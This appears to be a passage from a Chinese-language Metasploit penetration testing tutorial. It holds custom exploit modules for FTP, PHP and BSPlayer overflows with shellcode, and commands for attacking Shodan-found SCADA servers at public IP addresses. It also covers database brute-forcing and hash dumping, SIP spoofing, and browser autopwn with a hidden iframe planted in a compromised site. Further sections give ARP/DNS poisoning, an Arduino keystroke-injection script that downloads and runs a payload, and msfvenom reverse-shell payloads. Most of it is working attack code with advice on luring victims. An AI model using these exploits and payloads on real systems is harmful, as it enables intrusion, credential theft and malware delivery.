'Name' => 'PCMAN FTP server EXP by CWD command',
'Description' => 'Test exp module',
'Platform' => 'win', // 本模块可适用的平台
'Author' => ['FK'],
'Payload' => {
'space' => 1000, // 攻击载荷shellcode允许的最大空间
'BadChars' => '\x00\xff\x0a\x0d\x20\x40', // 可能出现的异常字符
},
'DefaultOptions' => {
'EXITFUNC' => 'process',
'VERBOSE' => true,
},
'Targets' => [
['Windows XP SP2', {'Ret' => 0x76BB0659, 'Offset' => 2012}] // JMP ESP地址 和 前置偏移量
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPPASS', [true, 'FTP password', 'FTP account'])
],
self.class
)
end
def exploit // 该函数类似于辅助模块的默认函数run
// 自己的逻辑代码,例如
c = connect_login
return unless c
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V') // pack['V'],是为了转为小尾
sploit << make_npos(10)
sploit << payload.encoded
send_cmd(["CWD " + sploit, false])
disconnect
end
def check // 测试函数,在exploit实际渗透之前可以手动调用测试版本信息
c = connect_login
disconnect
if c and banner =~ /220 PCMan's FTP Server 2\.0/
vprint_status("OK, 可以渗透")
return Exploit::CheckCode::Appears
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
vprint_status("账密错误,但版本正确,可以渗透")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe // 这个版本不存在漏洞
end
end
上面代码和之前相似,不再细说。其中多了一个check()函数,目的是在我们执行渗透之前,调用以便检查,调用方式如下:
msf exploit(my_exploit)> check
则会输出
[*] OK, 可以渗透
或者其他提示。
移植一个POST请求PHP-utility-belt模块EXP
源码来自 这里
其漏洞地址在 这里
POST如下数据即可:
fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');
将其改进,执行shellcode如下
fwrite(fopen('info.php','w'),'<?php $a="net user"; echo shell_exec($a)?>');
命令执行后,将会创建一个info.php文件,并将 net user的信息写入该文件中。然后我们直接在浏览器中浏览 info.php ,即可看到执行命令的结果。
我们需要调用POST,在Metasploit中,WEB相关重要函数可以在/lib/msf/core/exploits/http下的client.rb文件中找到,而GET,POST请求核心函数则可以在/lib/rex/proto/http下的client.rb和client-request.rb文件中找到。
其核心流程包括:
- 创建一个POST请求
- 利用参数将Payload发送到目标
- 获取目标的Meterpreter权限
- 做一些后渗透工作
接下来,我们用Metasploit构建一个同样功能的渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
include Msf::Exploit::Remote::HttpClient // 支持库
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Utility belt remote code Execution',
'Description' => 'Test exp module',
'Platform' => 'php', // 本模块可适用的平台
'Author' => ['FK'],
'Payload' => {
'space' => 2000, // 攻击载荷shellcode允许的最大空间
'DisableNops" = true // 是WEB应用不是软件,所以关闭payload中的NOP
},
'Targets' => [
['PHP Utility Belt', {}]
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to PHP Utility belt', '/php-utility-belt/ajax.php']),
OptString.new('CHECKURI', [false, 'The path for check', '/php-utility-belt/info.php']),
],
self.class
)
end
def check
send_request_cgi(
'method' => 'POST',
'uri' => normaliza_uri(target_uri.path),
'vars_post' => {
'code' => "fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');"
}
)
resp = send_request_raw({
'uri' => normaliza_uri(datastore['CHECKURI']),
'method' => 'GET'
})
if resp.body =~ /phpinfo()/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
send_request_cgi(
'method' => 'POST',
'uri' => normaliza_uri(target_uri.path),
'vars_post' => {
'code' => payload.encoded
}
)
end
end
测试执行EXP
msf > use exploit/myexp/php-belt
msf exploit(php-belt)> set RHOST 192.1.1.1
msf exploit(php-belt)> set payload php/meterpreter/bind_tcp
msf exploit(php-belt)> check
[+] 192.1.1.1:80 - The target is valnerable.
msf exploit(php-belt)> exploit
...some infos...
meterpreter> sysinfo
...system infos...
移植一个TCP请求BSPlayer SEH模块EXP
源码来自 Exploit-DB 这里
import socket
import sys
s = socket.socket() # Create a socket object
if(len(sys.argv) < 3):
print "[x] Please enter an IP and port to listen to."
print "[x] " + sys.argv[0] + " ip port"
exit()
host = sys.argv[1] # Ip to listen to.
port = int(sys.argv[2]) # Reserve a port for your service.
s.bind((host, port)) # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5) # Now wait for client connection.
c, addr = s.accept() # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf = ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "..."
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"
jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept() # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()
上面的代码有三处要值得注意:
- 作者使用了向后跳转的技术找到payload,这是为了解决栈控件限制的技术。
- 因为漏洞的特性,作者向目标发送了两次恶意缓冲区来执行payload。
- 这个漏洞执行时,是监听一个端口,然后等待目标连接,到目标连接后,再发送payload过去,并非主动连接目标。
我们整理得到的核心信息包括:
- 偏移量 = 2048
- POP/POP/RET在内存中的地址 = seh =
\x3b\x58\x00\x00
= 0x0000583b - 到shellcode的长跳转地址 = jmplong =
\xe9\x85\xe9\xff\xff
- 指向下一个SEH帧的短跳转指针 =
\xeb\xf9\x90\x90
接下来,我们用Metasploit构建一个同样功能的渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'BSPlayer SEH overflow exploit',
'Description' => 'Test exp module',
'Platform' => 'win', // 本模块可适用的平台
'Author' => ['FK'],
'Payload' => {
'BadChars' => "\x00\x0a\x20\x0d"
},
'Targets' => [
['Generic', {'Ret' => 0x0000583b, 'Offset' = 2048}]
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
end
def on_client_connect(client) // 这里变化要注意
return if((p = regenerate_payload(client)) == nil)
print_status("Client connected.")
sploit = make_nops(target['Offset'])
sploit << payload.encoded
sploit << "\xcc" * (6787 - 2048 - payload.encoded.length)
sploit << "\xe9\x85\xe9\xff\xff"
sploit << "\xeb\xf9\x90\x90"
sploit << [target.ret].pack('V')
client.put(sploit)
client.get_once
client.put(sploit)
handler(client)
service.close_client(client)
end
end
SCADA渗透
监控和数据采集系统(Supervisory Control and Data Acquisition, SCADA)一般用于大型工业生产过程控制服务方面。例如交通灯管理,工厂里控制两个药剂的混合比例等等。
最近几年,OT开始和IT进一步整合,而OT原本相对封闭,而且Scada系统通常是基于 windows XP 实现的,所以存在的漏洞隐患较多,成为了HACK们的争相试手之地。
渗透SCADA服务器
我们利用 shodan 来查找。
- 首先注册一个 shodan 账号,在个人信息处可以找到自己的API KEY
- 在Metasploit中,利用该key找到合适服务。我们这里尝试找 Rockwell(一个SCADA品牌)的服务器
msf> use auxiliary/gather/shodan_search
msf auxiliary(shodan_search)> show options
msf auxiliary(shodan_search)> set SHODAN_APIKEY Rxdskwhhgxbx2djssj21xxoo
msf auxiliary(shodan_search)> set QUERY Rockwell
msf auxiliary(shodan_search)> run
将输出
104.159.239.246:44818 USA
123.209.12.75:44818 Iceland
....
- 我们对其中一个服务器做一个渗透测试
msf> use exploit/windows/scada/realwin_scpc_initialize
msf exploit(realwin_scpc_initialize)> set RHOST 104.159.239.246
msf exploit(realwin_scpc_initialize)> set payload windows/meterpreter/bind_tcp
msf exploit(realwin_scpc_initialize)> exploit
// 然后用mimikatz查看明文mima
meterpreter> load mimikatz
meterpreter> kerberos
将输出
LOCAL SERVICE -
NETWORL SERVICE -
Administrator 12345
其中Administrator/12345就是账号密码了。
关于SCADA系统的漏洞可以参考 这里,另外, 这个scadahacker网站也是推荐去了解的。
这里不是核心点,简单了解即可。
数据库渗透
SQL Server
默认情况下,MS SQL运行在TCP的1433端口以及UDP的1434端口。
- 首先,我们使用NMAP对SQL Server进行踩点。例如:
// 扫描TCP端口
msf> db_nmap -sV -p1433 192.1.1.1
msf> services
将得到
192.1.1.1 1433 TCP MS-SQL open MicrosoftSQLServer2008 Version10.0.1600
// 扫描UDP端口
msf> db_nmap -sU -sV -p1434 192.1.1.1
msf> services
将得到
192.1.1.1 1433 TCP MS-SQL open MicrosoftSQLServer2008 Version10.0.1600
192.1.1.1 1434 UDP MS-SQL open MicrosoftSQLServer2008 Version10.0.1600
// 进一步获取数据库基础详细信息
msf> db_nmap -sU --script=ms-sql-info -p1434 192.1.1.1
将得到
MAC Address: 00:50:56:C0:00:0C (VMware)
Windows server name: WIN8
Instance name: MSSQLSERVER
Version: Microsoft SQL Server 2008 RTM
Version number: 10.0.1600.00
Named pipe: \\192.1.1.1\pipe\sql\query
Clustered: No
- 通过Metasploit进行扫描账密
// 获取数据库基础详细信息
msf> use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_ping)> run
可以得到类似上面的 nmap 查询的信息。
// 暴力密码破解
msf> use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login)> show options // 参数很多,可以看看
msf auxiliary(mssql_login)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_login)> set USER_FILE user.txt // 用户名词典
msf auxiliary(mssql_login)> set PASS_FILE pass.txt // 密码词典
msf auxiliary(mssql_login)> run
然后就可以等待暴力破解结果了。
// 如果获得了一个账密,那么可以将其他的用户密码hash值dump出来
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf auxiliary(mssql_hashdump)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_hashdump)> set USERNAME sa
msf auxiliary(mssql_hashdump)> set PASSWORD test
msf auxiliary(mssql_hashdump)> run
将会得到其他用户名,和密码Hash值,然后可以用第三方工具来破解Hash。以获取权限的提升或者其他库表的权限。
// 这里简单说一种方式
msf> use auxiliary/analyze/jtr_mssql_fast
msf auxiliary(jtr_mssql_fast) > run
- 通过Metasploit获取库信息
msf> use auxiliary/scanner/mssql/mssql_enum
msf auxiliary(mssql_enum)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_enum)> set USERNAME sa
msf auxiliary(mssql_enum)> set PASSWORD test
msf auxiliary(mssql_enum)> run
这样就可以获取数据库几乎所有信息,包括存储过程,库名,账户信息等
- 后渗透命令
为了进行进一步的攻击,我们可以使用两个重要模块。
- mssql_sql ,可以用它来进行SQL查询
- mssql_exec,可以用它来启用被禁止的 xp_cmdshell,以执行系统级命令
// 执行系统级命令 ipconfig
msf> use auxiliary/scanner/mssql/mssql_exec
msf auxiliary(mssql_exec)> set CMD 'ipconfig'
msf auxiliary(mssql_exec)> run
// 注入 payload
msf> use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) >set RHOSTS 192.1.1.1
msf exploit(mssql_payload) >set PASSWORD test
msf exploit(mssql_payload) >set SRVHOST 192.1.1.2
msf exploit(mssql_payload) >run
MySQL
类似MS SQL,所以不赘述
// 获取MySQL信息
msf> use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version)> set RHOSTS 192.1.1.1
msf auxiliary(mysql_version)> run
// 暴力词典破解密码
msf> use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login)> show options // 参数很多,可以看看
msf auxiliary(mysql_login)> set RHOSTS 192.1.1.1
msf auxiliary(mysql_login)> set USER_FILE /root/Desktop/user.txt // 用户名词典
msf auxiliary(mysql_login)> set PASS_FILE /root/Desktop/pass.txt // 密码词典
msf auxiliary(mysql_login)> run
// 同样的hashdump,同样的mysql_enum获取库详细信息。
// 直接访问对方SQL
root@kali:~# mysql -h 192.1.1.1 -u root -p
Enter password: ******
然后就进入了mysql
mysql> show databases;
VOIP渗透
IP电话(Voice Over Internet Protocol, VOIP)比起传统的电话服务,价格会低廉的多,而且有更多的特性,例如来电提示,日志服务,通话录音等等。
所以很多公司都推出了用于IP电话服务的专用交换机(Private Branch eXchange, PBX),它可以便于公司内部各部门通信,而且也便于公司内部与外界连通(无需每个电话和外界单独连通了)。
VOIP本质上就是将Voice数字化,再以数据封包的方式在IP网络商做实时传递。注意:这个传输是以IP网络传输,而不是用电话网络传输。
VOIP中进行数据传输的协议类型包括: SIP(会话发起协议), H.323, IAX2等等。
PBX就是一个程控交换机,计算机的数据VLAN 和 电话的声音VLAN一样都可以连接到它,并进行分发,然后它也可以负责和Internet网的连接或和公共电话网(Public Switched Telephone Network, PSTN)进行连接。
IP PBX就是将计算机网和电话交换机的功能合一。和传统PBX的区别是,传统PBX利用的电路交换原理来实现电话功能,而IP PBX则是使用TCP/IP协议,利用包交换原理,实现电话功能。
Asterisk是一款实现电话用户交换机(PBX)功能的开源软件,它支持VOIP的大部分协议,包括SIP。
推荐网站
VOIP扫描
使用SIP端点扫描程序,扫描一个网段中的SIP服务信息,如下
msf> use auxiliary/scanner/sip/options
msf auxiliary(options)> show options // 建议查看参数
msf auxiliary(options)> set RHOSTS 192.1.1.1/24 // 注意,这里不是单一IP。是IP段。
msf auxiliary(options)> run
// 这样就可以扫描256个IP(在IP段内),然后会获得其中拥有SIP服务的IP,以及其设备信息和支持的消息请求类型(其中的INVITE, ACK这些请求,类似GET,POST,HEAD这种),如下
[*] 192.1.1.12 sip:nobody@192.1.1.254 agent='hUQ'
[*] 192.1.1.13 404 agent='Asterisk PBX' verbs = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY'
也可以扫描一个网段中的用户列表,如下
msf> use auxiliary/scanner/sip/enumerator
msf auxiliary(enumerator)> show options // 建议查看参数
msf auxiliary(enumerator)> set RHOSTS 192.1.1.1/24
msf auxiliary(enumerator)> set MINEXT 30000 // 分机号码起始值
msf auxiliary(enumerator)> set MAXEXT 33000 // 分机号码结束值
msf auxiliary(enumerator)> set PADLEN 5
msf auxiliary(enumerator)> run
于是这将会在 192.1.1.1/24 这个子网段,扫描 30000-330000 分机号码的用户,如下
[*] Found user: 30008 <sip:30008@192.1.1.254> [open]
[*] Found user: 30023 <sip:30023@192.1.1.254> [open]
VOIP电话欺骗
msf> use auxiliary/voip/sip_invite_spoof
msf auxiliary(sip_invite_spoof)> show options // 建议查看参数
msf auxiliary(sip_invite_spoof)> set RHOSTS 192.1.1.254
msf auxiliary(sip_invite_spoof)> set SRCADDR 192.1.1.1 // 伪造电话源地址
msf auxiliary(sip_invite_spoof)> set EXTENSION 4444
msf auxiliary(sip_invite_spoof)> run
这样就给 192.1.1.254 这个IP伪造了一个来电电话。
VOIP渗透攻击
msf> use exploit/windows/sip/sipxphone_cseq
msf exploit(sipxphone_cseq)> show options // 建议查看参数
msf exploit(sipxphone_cseq)> set RHOSTS 192.1.1.254
msf exploit(sipxphone_cseq)> set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(sipxphone_cseq)> set LHOSTS 192.1.1.1
msf exploit(sipxphone_cseq)> exploit
渗透实例
前期准备
对于沟通,社工获取信息部分,这里不再细述。
我们直接从目标机的漏洞扫描开始。
Metasploit中使用OpenVAS进行漏洞扫描
// 首先创建工作区,以便我们同时进行多个任务的切换
msf> workspace -a NetScan
[*] Added workspace: NetScan
// 切换到该工作区下,开始工作。(以后只要输入 workspace NetScan 就能切换到该工作区)
msf> workspace NetScan
[*] Workspace: NetScan
// 查看 msf 可加载插件
msf> load
[*] load sqlmap
[*] load nessue
[*] load openvas
[*] load nexpose
...
// 加载 openvas 插件模块
msf> load openvas
// 使用 openvas 插件 和 openvas软件本身进行连接
msf> openvas_connect admin password localhost 9390 ok
[+] OpenVAS connection successful
// 要启动漏洞扫描,首先就是确定扫描目标
// 下面创建一个IP为192.1.1.1的目标,名字我们称为 targetA, 备注为 TestMachine
msf> openvas_target_create targetA 192.1.1.1 TestMachine
msf> openvas_target_list
创建成功,将会出现下列列表,我们要注意信息中最前面的ID
[+] OpenVAS list of targets
0 Localhost 127.0.0.1 Comment: nil
1 targetA 192.1.1.1 Comment: TestMachine
// 接下来,需要为被测试的目标定义一个策略,我们先查看策略列表
msf> openvas_config_list
[+] OpenVAS list of configs
0 Discovery
1 empty
2 Full and fast
3 Full and ver deep
...
7 System Discovery
// 我们开始创建漏洞扫描任务。
// 注意,参数里面的 2 是openvas_config_list中的[Full and fast]模式
// 参数里面的 1 是openvas_target_list中的[1]号,targetA的IP
msf> openvas_task_create NetscanTask ScanForVulns 2 1
// 然后漏洞扫描任务就开始执行了,期间我们可以查看其进度
msf> openvas_task_list
[+] OpenVAS list of tasks
0 NetscanTask Running Comment:ScanForVulns
// 当任务结束后,我们可以查看扫描报告列表
msf> openvas_report_list
[+] OpenVAS list of reports
0 NetscanTask 2019-11-01T15:00:01Z 2019-11-01T15:32:21Z
1 OtherFinTask 2019-10-21T08:03:50Z 2019-10-22T01:43:05Z
// 然后我们选择将扫描报告以指定方式进行保存
// 首先我们先看保存的格式选项列表
msf> openvas_format_list
[+] OpenVAS list of report formats
0 AnonymousXML xml
1 ARF xml
2 CPE csv
3 HTML html
...
11 TXT txt
12 VeriniceISM vna
13 XML xml
// 我们想保存为标准xml格式,所以如下操作
// 参数中的 0 是openvas_report_list中的[0]号报告
// 参数中的 13 是openvas_format_list中的[13]XML格式
msf> openvas_report_import 0 13
// 这些漏洞报告被以XML格式保存到数据库中之后,我们可以通过浏览器查看,URL为
https://127.0.0.1:9392
// 即可获得目标机上的漏洞列表。
Metasploit中使用Nessus进行漏洞扫描
上面我们在Metasploit中使用OpenVAS进行了漏洞扫描,这里我们使用Nessus进行漏洞扫描,Nessus是收费的,但它比OpenVAS更强大,十分推荐。
要在Kali中安装Nessus,我们可以参考这篇文章
// 下面开始连接nessus
msf> load nessus
msf> nessus_connect root:xxoo@127.0.0.1:8834
// 下面查看nessus策略列表
msf> nessus_policy_list
[*] PolicyID:22 Name:BasicPolicy UUID:731a8e52-372e-98a1-ec0a-d2ff9083dba82ab2338d65
// 通过UUID创建一个扫描任务
msf> nessus_scan_new 731a8e52-372e-98a1-ec0a-d2ff9083dba82ab2338d65 myScanTask "new scan task comment" 192.1.1.3
[*] ScanID:50 ScannerID:1 PolicyID:22 Targets:192.1.1.3 Owner:root
// 然后我们通过ScanID创建一个扫描任务并执行
msf> nessus_scan_launch 50
// 然后进一步查看扫描的进行状态
msf> nessus_scan_details 50 info
// 扫描完成后,我们查看扫描结果信息
msf> nessus_report_hosts 50
[*] 192.1.1.3 Critical:10 High:4 Medium:17 Low:5
// 我们发现这个系统有10个高危漏洞,4个重点漏洞,17个中级漏洞,5个低级漏洞。
// 然后我们查看具体的漏洞列表
msf> nessus_report_vulns 50
[*] 10028 DNS BIND remote detection
[*] 10245 SMTP server detection
[*] ...
// 我们也可以将这个结果导入到Metasploit数据库
msf> nessus_db_import 50
// 不过,在导入之前,建议先创建一个新工作区,不然会覆盖之前OpenVAS的导入数据
在此之后,我们可以执行以下命令了解更多信息
msf> hosts // 目标对象的基本信息
msf> vulns // 目标对象上漏洞信息
msf> services // 目标对象上的服务信息
威胁建模
此时我们要根据漏洞列表,去分析漏洞的作用,找到当前最合适的漏洞。
例如DDOS宕机的漏洞可能意义不大,而能获取控制权限的漏洞可能意义非凡。
总之,这里我们选择一个CVE 2014-6287的HTTP文件服务器远程代码执行漏洞作为突破口。
msf> search cve:2014-6287
[+] exploit/windows/http/rejetto_hfs_exec 2014-09-11
我们得到了这个CVE的EXP。
获取权限
msf> use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec)> show payloads // 查看这个EXP对应的payloads
msf exploit(rejetto_hfs_exec)> set RHOST 192.1.1.1
msf exploit(rejetto_hfs_exec)> set RPORT 8080
msf exploit(rejetto_hfs_exec)> set payload windows/meterpreter/reverse_tcp
msf exploit(rejetto_hfs_exec)> set LHOST 192.1.1.2
msf exploit(rejetto_hfs_exec)> exploit
// 成功,我们进一步使用arp查找该系统的临近计算机
meterpreter> sysinfo
meterpreter> arp
使用Faraday管理测试结果
Faraday是一个开源协作渗透和漏洞管理工具。它有大量的仪表面板以便进行漏洞的可视化。它和大量的渗透工具也能简单的无缝集成。
例如,我们把metasploit扫到的漏洞给faraday可视化:
// 将数据导出到xml文件
msf> db_export -f xml /root/desktop/abc.xml
// 然后将这个xml复制到faraday目录下就可以了
root@kali:>$ cp /root/desktop/abc.xml /root/.faraday/report/pentest/
然后,在Faraday中就可以看到刚才漏洞的dashboard了。
手动写报告的格式
- 封面/文档属性
- 目录
- 摘要
- 渗透测试适用范围
- 严重性信息
- 目标
- 假设
- 漏洞信息摘要:危险层级和数量
- 漏洞分布图:类型分布等
- 建议摘要
- 方法/技术报告
- 测试细节
- 漏洞名单
- 可能性
- 建议
- 参考文件
- 词汇表
- 附录
客户端渗透
客户端渗透的定义是:需要目标用户配合才能成功的渗透。
例如诱骗对方访问恶意网址,打开执行文件等,之后我们才能成功渗透到对方系统。
下面是一些常见的客户端渗透技术。
基于浏览器的渗透攻击
我们这里以Browser autopwn攻击为例。
它的渗透原理是:
首先,我们本地建立一个渗透服务器,它进行监听。
然后,我们某种方式诱导受害者访问恶意链接,此时渗透服务器会检测用户浏览器类型并发送对应的渗透EXP模块。
自动在目标机器执行渗透模块,并提供meterpreter控制权限给攻击者。
过程如下:
// 选择autopwn,这里有两个autopwn,其中browser_autopwn2更新更强大,能扫描到的漏洞更多,但方便测试,这里选择了简单的browser_autopwn
msf> search autopwn
[*] auxiliary/server/browser_autopwn
[*] auxiliary/server/browser_autopwn2
// 模块参数配置
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.1.1.2
msf auxiliary(browser_autopwn) > set URIPATH /
msf auxiliary(browser_autopwn) > exploit
// 回车后会自动处理很多数据,要等几分钟
msf auxiliary(browser_autopwn) > [*] Done in 1.927183322 seconds
[*] Using URL: http://0.0.0.0:8080/NWHAsWTPb
[*] Local IP: http://192.1.1.1:8080/NWHAsWTPb
[*] Server started.
[*] ....
[*] --- Done, found 21 exploit modules
[*] Server started.
// 然后我们用某种方式诱骗他人访问 http://192.1.1.1:8080/
// 当有人访问到【http://192.1.1.1:8080/】这个URL时,渗透服务器就会持续发送各种EXP,最终拿到Meterpreter控制权限为止。
[*] Session ID 1 (192.1.1.1:7777 -> 192.1.1.2:49716) processing InitialAutoRunScript 'migrate -f'
[*] Successfully migrated to process
// 查看当前“上当”的受害机器会话列表
msf auxiliary(browser_autopwn) > sessions -i
[*] Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java tt @ liuxin 192.1.1.1:7777 -> 192.1.1.2:49716 (192.1.1.2)
2 meterpreter java/java tt @ liuxin 192.1.1.1:7777 -> 192.1.1.2:49717 (192.1.1.2)
// 选择一个会话
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...
// 查看对方主机信息
meterpreter > sysinfo
恶意链接的传播方式
直接发送渗透服务器IP肯定是不行的,于是最基本的,可以用域名欺骗受害者点击。
可以拿到一些有漏洞的网站管理权,在其网站嵌入隐藏iFrame,那么别人在访问这个网站时,就会被渗透。
// 例如在受害者网站的index.php里加入
<iframe src="http://192.1.1.1:80/" width=0 height=0 style="hidden"
frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
- 如果是局域网的话,还可以使用ARP投毒+DNS欺骗。用户在访问网站时,通过DNS解析得到错误IP,就会被渗透。
// 首先,我们要进行DNS投毒。我们先创建一个伪造dns文件如下
root@kali:~# vi /usr/share/ettercap/etter.dns
// 里面内容填写为
google.com A 192.1.1.1
baidu.com A 192.1.1.1
// 然后我们开启ettercap软件
root@kali:~# ettercap -G
// 然后选择sniff-> Unifed sniffing.. -> 通常选择eth0网卡作为默认端口
// 选择hosts->scan for hosts 扫描目标网络范围内的在线主机IP地址
// 扫描完成后 hosts->host list查看在线主机列表
// 然后我们开始ARP定向投毒
// 设置网关地址为 target2, 设置受害者地址为 target1, 进行start sniffing
// 这是ARP中间人攻击。
// 之后受害者就会以为我们是网关,所有网络消息将发送给我们,我们再自动将其消息转发给真正的网关。
// 而网关又会认为我们是受害机,所有的返回消息也都会给我们。
// 一切消息经过我们转发,我们就可以查看受害者访问状况。
// 例如 urlsnarf -i eth0 获取受害人访问了哪些网页
// 例如 driftnet -i eth0 获取受害人看的网络视频和网络图片之类的
// 利用 sslstrip -a -f -k 获取受害人的账号密码之类的
// 当然这次我们仅仅关注的是受害者的DNS解析消息。
// 于是我们在 ettercap 的plugins选项中点击Manager the plugins->DNS Spoof plug-in激活DNS欺骗。
// 欺骗的信息我们一已经在 etter.dns 里伪造好了。于是只要受害者访问 google.com 就会进入192.1.1.1 被我们渗透了。
利用Arduino单片机进行渗透
Arduino是一个很小的(USB盘大小)的单片机,价格很便宜20来块RMB就够。
部分Arduino板支持键盘鼠标库,意味着它们可以成为HID设备,例如点键盘,移动,点鼠标等动作。
但是Arduino没有存储空间,所以,我们将代码烧录到单片机上之后,需要从网上下载 payload。
下面是一个简单的Arduino渗透工具代码。
#include<Keyboard.h>
// Arduino默认执行初始函数
void setup() {
delay(2000); // Arduino默认等待函数
// 按下【Windows+d】键,显示桌面的快捷键
myKeypress(KEY_LEFT_GUI,false);
myKeypress('d',false);
Keyboard.releaseAll();
delay(500);
// 按下【windows+r】键,启动【运行】的快捷键
myKeypress(KEY_LEFT_GUI,false);
myKeypress('r',false);
delay(500);
Keyboard.releaseAll();
delay(1000);
// 输入powershell命令,下载payload并将其存储到temp中
print(F("powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://192.1.1.1/myTestPayload.exe','%TEMP%\\myPayload.exe'); Start-Process "%TEMP%\\myPayload.exe""));
delay(1000);
// 按下回车键,执行上述powershell
myKeypress(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
// 按键函数
void myKeypress(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
// Arduino默认核心函数
void loop(){}
然后将上面的代码烧录到Arduino单片机上。
之后只要将这个单片机用USB接口插到目标机上几秒就OK了,自动下载自动执行payload。我们就可以远程meterpreter了。
上述过程中的payload如下开发:
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.1.1.1 LPORT=5555 -f exe > /var/www/html/myTestPayload.exe
我们就得到了一个exe格式的payload,大小一般只有几百字节。
然后我们开个Apache把它挂到网上去,等待Arduino单片机控制受害机下载运行
root@kali:~# service apache2 start
然后我们再开一个渗透服务器,等待受害机的payload连接
msf> use exploit/multi/handler
msf exploit(handler)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 5555
msf exploit(handler)> set LHOST 192.1.1.1
msf exploit(handler)> exploit
[*]starting reverse TCP handler on 192.1.1.1:5555
// 这就在监听了,然后,如果有人受害,payload发作后,我们的渗透服务器就会显示
[*] Meterpreter session 1 opened(192.1.1.1:5555 -> 192.1.1.2:12668)
Meterpreter> sysinfo
...
// 我们就渗透完成了
利用PDF文件进行渗透
首先,生成一个pdf格式的payload
msf> use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing)> set LHOST 192.1.1.1
msf exploit(adobe_cooltype_sing)> exploit
[*] Generated output file /root/.msf4/data/exploits/msf.pdf
msf exploit(adobe_cooltype_sing)> back // 返回msf命令
msf>
然后创建一个handler等待受害机连接就好(命令上面有,不重复了)
对方点了pdf就渗透连接了。
【!!!】这里有个要点,一旦meterpreter渗透成功,渗透服务器这边应该马上将这个meterpreter migrate到另外一个进程去,因为,一旦Adobe pdf reader进程被用户关闭,当前这个meterpreter shell就会被销毁了。
利用WORD文件进行渗透
和上面一样,不细说了
msf> use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
渗透Linux系统
这和用exe文件渗透 windows 系统一样,使用elf文件渗透linux系统即可。
// 使用msfvenom创建windows的EXE文件
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f exe -o /Users/xxxx/downloads/xxoo.exe
// 使用msfvenom创建linux的elf文件
root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f elf -o /var/xxxx/downloads/xxoo.elf
然后把这个elf文件复制到apache的public目录,想办法让目标机器访问这个文件并执行即可。
root@otherPC:~# wget http://192.1.1.1/xxoo.elf
root@otherPC:~# chmod 777 xxoo.elf
root@otherPC:~# ./xxoo.elf
这就触发了handler,它会主动连接我们的服务器,我们也就获得了目标程序的meterpreter权限
msf> use exploit/mutil/handler
msf exploit(handler)> set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter> // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> sysinfo // 查看目标机系统信息
